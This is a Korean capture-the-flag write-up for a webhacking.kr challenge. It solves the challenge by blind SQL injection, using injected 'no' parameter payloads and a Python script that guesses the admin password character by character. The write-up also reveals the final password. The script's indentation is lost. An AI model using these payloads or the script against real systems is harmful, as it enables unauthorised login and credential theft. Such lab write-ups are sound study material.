no에 0||no=2를 입력하고 로그인하자 다음과같이 admin계정의 비밀번호를 입력하라고 나온다.
이젠 admin계정의 비밀번호를 BlindSQLi를 통해서 알아내면 된다.
먼저 비밀번호의 길이를 알아내기 위해서 no에 다음과 같은 문구를 삽입해 길이를 알아낸다.
1||no=2&&length(pw)=1
위와 같은 비밀번호를 입력하라는 창이 나올때까지 1부터 증가하면서 대입해본다.
그결과 10을 삽입했을때 비밀번호를 입력하라고 나온다. 따라서 비밀번호의 길이는 10이라는것을 알수 있다.
그 다음 실제 비밀번호를 알아내기 위해서 다음과 같은 파이썬 코드를 작성해 프로그램으로 돌려보았다.
import requests
url = 'https://webhacking.kr/challenge/web-29/' #url 주소를 입력
cookies = {'PHPSESSID':''} #세션 쿠키를 입력
db_len = 10
def find_db_str(db_len):
db_str = ""
for len in range(1,db_len+1):
for ascii in range(33,127):
k = hex(ascii).split("0x")[1]
value = "?no=0||substr(pw,{},1)=0x{}&id=guest&pw=guest".format(len,k)
# no에 Payload 코드 삽입
response = requests.get(url + value, cookies=cookies) # GET을 통해 전달
print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
print(value) # 전달되는 Payload 코드 확인
if "admin password" in response.text:
db_str+=chr(ascii) #참이라면 ascii코드를 char형으로 변경해서 저장
break
return db_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
print("db : \n"+find_db_str(db_len))
프로그램을 돌리면 위와같이 비밀번호가 lck_admin이라고 출력된다.
하지만 실제 비밀번호는 luck_admin인데 2번째 글자인 u가 출력되지 않은 이유는 guest계정의 비밀번호인 guest의 2번째 글자가 u로 똑같기 때문이다.